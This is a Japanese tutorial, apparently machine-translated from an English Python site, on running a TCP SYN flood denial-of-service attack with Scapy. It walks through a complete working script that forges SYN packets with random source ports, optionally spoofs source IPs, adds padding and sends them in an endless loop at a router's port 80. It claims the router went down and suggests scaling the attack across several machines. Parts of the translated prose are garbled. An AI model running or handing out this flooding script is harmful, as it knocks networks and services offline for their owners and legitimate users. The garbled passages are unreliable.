PythonでScapyライブラリを使用して、サービス拒否攻撃の一種であるTCPSYNフラッド攻撃を実行する方法を学びます。
A SYNフラッド 攻撃は、一般的な形態のある サービス拒否攻撃 を消費するためには、攻撃者がターゲットシステムにSYN要求のシーケンスを送信する(など、ファイアウォール、侵入防止システム(IPS)、ルーターすることができます)そのリソースは、正当なクライアントが通常の接続を確立するのを防ぎます。
TCP SYNフラッドは、TCPスリーウェイハンドシェイクの最初の部分を悪用します。TCPプロトコルを使用するすべての接続でそれが必要になるため、この攻撃は危険であることが判明し、いくつかのネットワークコンポーネントをダウンさせる可能性があります。
SYNフラッドを理解するには、最初にTCP スリーウェイハンドシェイクについて説明する必要があり ます。
クライアントがTCPプロトコルを介してサーバーへの接続を確立する場合、クライアントとサーバーは一連のメッセージを交換します。
- クライアントは、SYNメッセージをサーバーに送信して接続を要求します。
- サーバーはSYN-ACKメッセージで応答します(要求を確認します)。
- クライアントはACKで応答し、接続が開始されます。
SYNフラッド攻撃には、ACKで応答せずにSYNパケットを繰り返し送信し、多くの場合、送信元ポートが異なる悪意のあるユーザーが関与します。これにより、サーバーは攻撃に気付かず、各ポートからのSYN-ACKパケットで各試行に応答します(赤上の画像の緑色の部分)。このようにして、サーバーは正当なクライアントにすぐに応答しなくなります。
関連チュートリアル: Scapyを使用してPythonでWiFiスキャナーを構築する方法。
このチュートリアルでは 、PythonのScapyライブラリを使用してSYNフラッド攻撃を実装し ます。開始するには、Scapyをインストールする必要があります。
pip3 install scapy
コピー
新しいPythonファイルを開き、Scapyをインポートします。
from scapy.all import *
コピー
プライベートIPアドレスが192.168.1.1のローカルルーターでこれをテストします。
# target IP address (should be a testing router/firewall)
target_ip = "192.168.1.1"
# the target port u want to flood
target_port = 80
コピー
ルーターに対してこれを試したい場合は、正しいIPアドレスを持っていることを確認してください。デフォルトゲートウェイのアドレスはipconfig
、 ip route
それぞれWindowsとmacOS / Linuxのコマンドで取得できます 。
ルーターのWebインターフェイスをフラッディングしたいので、ターゲットポートはHTTPです。次に、IP層から始めてSYNパケットを偽造しましょう。
# forge IP packet with target ip as the destination IP address
ip = IP(dst=target_ip)
# or if you want to perform IP Spoofing (will work as well)
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)
コピー
dst
ターゲットIPアドレスとしてを指定し src
ました。プライベートネットワーク範囲(コメントコード)内のスプーフィングされたランダムIPアドレスにアドレスを設定することもでき 、それも機能します。
TCP層を作りましょう:
# forge a TCP SYN packet with a random source port
# and the target port as the destination port
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
コピー
そのため、送信元ポート(sport
)をランダムショート(ポートと同様に1〜65535の範囲)に設定し、 dport
(宛先ポート)をターゲットポート(この場合はHTTPサービス)として設定しています。
また、"S"
SYNタイプを示すフラグを設定し ます。
次に、ネットワークを占有するために、フラッディングの生データを追加しましょう。
# add some flooding data (1KB in this case)
raw = Raw(b"X"*1024)
コピー
素晴らしい、それではレイヤーを積み上げてパケットを送信しましょう:
# stack up the layers
p = ip / tcp / raw
# send the constructed packet in a loop until CTRL+C is detected
send(p, loop=1, verbose=0)
コピー
そのためsend()
、レイヤー3でパケットを送信する関数を使用し 、 loop
CTRL + Cを押すまで送信を続けるように1に設定verbose
しました。0に設定 すると、プロセス中に何も印刷されません(サイレント)。
スクリプトが完了しました。これをルーターに対して実行した後、数秒かかりました。確かに、ルーターは機能を停止し、接続が失われました。
これは、Windowsでの次のコマンドの出力です。
$ ping -t "192.168.1.1"
コピー
攻撃者以外の別のマシンからキャプチャされたため、ルーターは応答しなくなりました。
すべてを正常に戻すには、攻撃を停止し(CTRL + Cを押して)、デバイスがまだ応答しない場合は、続行して再起動します。
関連チュートリアル: PythonでScapyを使用してネットワークスキャナーを作成する方法。
結論
よし!チュートリアルは終了しました。ローカルコンピューターに対してスクリプトを実行しようとすると、コンピューターがビジー状態になり、待ち時間が大幅に増加することがわかります。また、複数の端末や他のマシンでスクリプトを実行して、ローカルコンピューターのネットワークをシャットダウンできるかどうかを確認することもできます。
免責事項:所有していない、または許可を得ていないデバイスでこれを使用しないでください。当社は責任を負いません。このチュートリアルは教育目的のみです。
学習: Scapyを使用してPythonでARPスプーフィングを構築する方法。
ハッピーハッキング♥
https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python